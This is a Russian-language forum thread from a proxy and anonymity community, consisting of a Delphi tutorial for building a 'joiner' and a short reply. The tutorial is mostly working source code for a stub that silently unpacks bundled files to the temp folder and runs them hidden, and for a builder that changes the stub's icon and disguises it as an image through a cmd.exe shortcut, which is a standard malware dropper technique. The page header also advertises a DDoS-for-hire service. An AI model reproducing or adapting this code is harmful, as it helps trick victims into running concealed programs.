[ Delphi ] Делаем джойнер своими руками - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Бесплатные прокси уже в Telegram
Все инфопродукты и приватная информация бесплатно
Старый 27.07.2010, 13:00   #1 (permalink)
HTTP
 
Регистрация: 08.02.2010
Сообщений: 12
Member ID: 6486

Репутация: 20
Репутация: 20
Сказал(а) спасибо: 3
Поблагодарили 16 раз(а) в 7 сообщениях
Топикстартер (автор темы) По умолчанию [ Delphi ] Делаем джойнер своими руками

Введение:
Джойнер - это программа, предназначенная для "склеивания" нескольких файлов в один. При запуске файла "склейки", запускаются все файлы.

В статье я буду использовать исходники своего старенького джойнера.

1. Стаб.
Делать мы его будем без формы.
В uses добавляем shellapi и zlib.
Не забываем написать {$R *.res}, что бы наш стаб был с иконкой.
Добавляем процедуру чтения данных из файла.
Код:
function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
  aStream: TFileStream;
  iSize: Integer;
begin
  Result := False;
  if not FileExists(AFileName) then
    Exit;

  try
    aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
    //ищем позицию где записан размер потока
    aStream.Seek(-SizeOf(Integer), soFromEnd);
    aStream.Read(iSize, SizeOf(iSize));
    if iSize > aStream.Size then
    begin
      aStream.Free;
      Exit;
    end;
    //ищем позицию где начинаются данные
    aStream.Seek(-iSize, soFromEnd);
    MemoryStream.SetSize(iSize - SizeOf(Integer));
    //копируем данные
    MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));
    MemoryStream.Seek(0, soFromBeginning);
  finally
    aStream.Free;
  end;
  Result := True;
end;
Далее добавляем процедурку для распаковки файла.
Код:
procedure DecompressFiles(const Filename, DestDirectory : String);
 var
   dest,s : String;
   decompr : TDecompressionStream;
   infile, outfile : TFilestream;
   i,l,c : Integer;
 begin
   // IncludeTrailingPathDelimiter (D6/D7 only)
  dest := IncludeTrailingPathDelimiter(DestDirectory);

   infile := TFileStream.Create(Filename,fmOpenRead);
   try
     { узнаем количество файлов }
     infile.Read(c,SizeOf(c));
     for i := 1 to c do
     begin
       { читаем имя файла }
       infile.Read(l,SizeOf(l));
       SetLength(s,l);
       infile.Read(s[1],l);
       { читаем размер файла }
       infile.Read(l,SizeOf(l));
       { распаковываем файл и сохраняем }
       s := dest+s; //в указанную папку
      outfile := TFileStream.Create(s,fmCreate);
       decompr := TDecompressionStream.Create(infile);
       try
         outfile.CopyFrom(decompr,l);
       finally
         outfile.Free;
         decompr.Free;
       end;
     end;
   finally
     infile.Free;
   end;
 end;
Объявляем переменные:
Код:
var min:tmemorystream;
s:string;
st:tstringlist;
i:integer;
w:hwnd;
И собственно сам код.
Код:
begin
st:=TStringList.Create;
min:=TMemoryStream.Create;
s:=GetEnvironmentVariable('TMP')+'\'; //узнаем где папка темп на компе
LoadFromFile(ParamStr(0),min); //грузим данные из себя же в поток
min.SaveToFile(s+'tmp.tt'); //сохраняем поток на комп
DecompressFiles(s+'tmp.tt',s); //распаковываем файл в папку темп
st.LoadFromFile(s+'do.tt'); //читаем файл со списком файлов, которые надо запустить после распаковки
for i:=0 to st.Count-1 do //запускаем все файлы
ShellExecute(w,'open',pchar(s+st.strings[i]),nil,nil,SW_HIDE)
end.
2. Джойнер.
Создаем новый проект. Вешаем на форму все необходимые контролы. У меня вышло так:

Теперь добавим в uses vIconChange,zlib,ShlObj,ActiveX, ComObj.
Добавим процедуры:
Код:
function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
  aStream: TFileStream;
  iSize: Integer;
begin
  Result := False;
  if not FileExists(AFileName) then
    Exit;
  try
    aStream := TFileStream.Create(AFileName, fmOpenWrite or fmShareDenyWrite);
    MemoryStream.Seek(0, soFromBeginning);
    //переходим в конец файла
    aStream.Seek(0, soFromEnd);
    // копируем данные в поток
    aStream.CopyFrom(MemoryStream, 0);
    // сохраняем размер потока
    iSize := MemoryStream.Size + SizeOf(Integer);
    aStream.Write(iSize, SizeOf(iSize));
  finally
    aStream.Free;
  end;
  Result := True;
end;

//Слияние и упаковка файлов
procedure CompressFiles(Files : TStrings; const Filename : String);
 var
   infile, outfile, tmpFile : TFileStream;
   compr : TCompressionStream;
   i,l : Integer;
   s : String;

 begin
   if Files.Count > 0 then
   begin
     outFile := TFileStream.Create(Filename,fmCreate);
     try
       { отмечаем количество файлов }
       l := Files.Count;
       outfile.Write(l,SizeOf(l));
       for i := 0 to Files.Count-1 do
       begin
         infile := TFileStream.Create(Files[i],fmOpenRead);
         try
           { запоминаем оригинальное имя файла }
           s := ExtractFilename(Files[i]);
           l := Length(s);
           outfile.Write(l,SizeOf(l));
           outfile.Write(s[1],l);
           { the original filesize }
           l := infile.Size;
           outfile.Write(l,SizeOf(l));
           {упаковываем файл и сохраняем во временный файл}
           tmpFile := TFileStream.Create('tmp',fmCreate);
           compr := TCompressionStream.Create(clMax,tmpfile);
           try
             compr.CopyFrom(infile,l);
           finally
             compr.Free;
             tmpFile.Free;
           end;
           { добавляем упакованный временный файл к основному }
           tmpFile := TFileStream.Create('tmp',fmOpenRead);
           try
             outfile.CopyFrom(tmpFile,0);
           finally
             tmpFile.Free;
           end;
         finally
           infile.Free;
         end;
       end;
     finally
       outfile.Free;
     end;
     DeleteFile('tmp');
   end;
 end;
 //Загрузка стаба из себя
function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
  aStream: TFileStream;
  iSize: Integer;
begin
  Result := False;
  if not FileExists(AFileName) then
    Exit;

  try
    aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
    //ищем позицию где записан размер потока
    aStream.Seek(-SizeOf(Integer), soFromEnd);
    aStream.Read(iSize, SizeOf(iSize));
    if iSize > aStream.Size then
    begin
      aStream.Free;
      Exit;
    end;
    //ищем позицию где начинаются данные
    aStream.Seek(-iSize, soFromEnd);
    MemoryStream.SetSize(iSize - SizeOf(Integer));
    //копируем данные
    MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));
    MemoryStream.Seek(0, soFromBeginning);
  finally
    aStream.Free;
  end;
  Result := True;
end;

procedure CreateShortcut(const FilePath, ShortcutPath,
  WorkDir, Description, Params: string);
var
  obj: IUnknown;
  isl: IShellLink;
  ipf: IPersistFile;
begin
  obj := CreateComObject(CLSID_ShellLink);
  isl := obj as IShellLink;
  ipf := obj as IPersistFile;
  with isl do
  begin
    SetPath(PChar(FilePath));
    SetArguments(PChar(Params));
    SetDescription(PChar(Description));
    SetWorkingDirectory(PChar(WorkDir));
  end;
  ipf.Save(PWChar(WideString(ShortcutPath)), False);
end;
Я не буду описывать тут как открывать диалоги открытия файлов и прочие мелочи. Приступим к склейке.
Код:
var
min:tmemorystream;
i:integer;
s:tstringlist;
begin
min:=TMemoryStream.Create;
 SaveDialog1.Execute;
s:=TStringList.Create;
for i:=0 to memo.Lines.Count-1 do
s.Add(ExtractFileName(memo.Lines.Strings[i]));
s.SaveToFile(ExtractFilePath(SaveDialog1.FileName)+'do.tt');//сохраним список файлов
memo.Lines.Add(ExtractFilePath(SaveDialog1.FileName)+'do.tt');
CompressFiles(memo.Lines,ExtractFilePath(SaveDialog1.FileName)+'tmp.ttt');//склеим и упакуем все файлы
LoadFromFile(Application.ExeName,min);//загрузим стаб из себя
min.SaveToFile(SaveDialog1.FileName+'.exe');//сохраним стаб на компе
min.Clear;
if sEdit1.Text<>'(стандарт)' then//если мы решили сменить иконку у стаба.
begin
ChangeIcon(SaveDialog1.FileName+'.exe',OpenDialog2.FileName,'1049');//1049 это имя ресурса иконки
end;
min.LoadFromFile(ExtractFilePath(SaveDialog1.FileName)+'tmp.ttt');
AttachToFile(SaveDialog1.FileName+'.exe',min);//приклеиваем склейку к стабу
if sCheckBox1.Checked then//если мы поставили галочку "имитация"
begin
RenameFile(SaveDialog1.FileName+'.exe',ExtractFilePath(SaveDialog1.FileName+'.exe')+sEdit3.Text);
//создадим ярлык
CreateShortcut('%windir%\system32\cmd.exe',ExtractFilePath(SaveDialog1.FileName)+sEdit2.Text+'.lnk','%currentdir%','Изображение','/c '+sEdit3.Text);
end;
DeleteFile(ExtractFilePath(SaveDialog1.FileName)+'tmp.ttt');
DeleteFile(ExtractFilePath(SaveDialog1.FileName)+'do.tt');
ShowMessage('Склеено :)');

end;
Вот как бы и все. Компилируем, пишем еще одну временную програмку что б приклеить стаб к джойнеру, для этого юзаем соответствущую процедуру:
Код:
function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream)
Исходники качнуть можно ТУТ
Пароль на архив: codingworld.ru


Источник:
© B!0s$, CodingWorld.Ru
CraftR14 вне форума   Ответить с цитированием
Старый 17.01.2011, 03:54   #2 (permalink)
HTTP
 
Регистрация: 17.01.2011
Сообщений: 3
Member ID: 11383

Репутация: 0
Репутация: 0
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
По умолчанию Re: [ Delphi ] Делаем джойнер своими руками

Исходники перезалей, не качается
Billy вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Delphi Radzhab Флейм 10 20.06.2011 19:34
Proxy на хосте своими руками goldfishka Proxy FAQ | Что такое прокси и как ими пользоваться 5 18.07.2010 10:32
Поиск прокси - делимся своими методами и фичами DrakonHaSh Proxy FAQ | Что такое прокси и как ими пользоваться 13 05.07.2010 22:24
Javascript > Delphi NekitoSP Программирование 7 23.05.2010 15:46
[Статья] Делаем online магазин KeNtAvRrr Флейм 0 13.05.2009 18:34




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.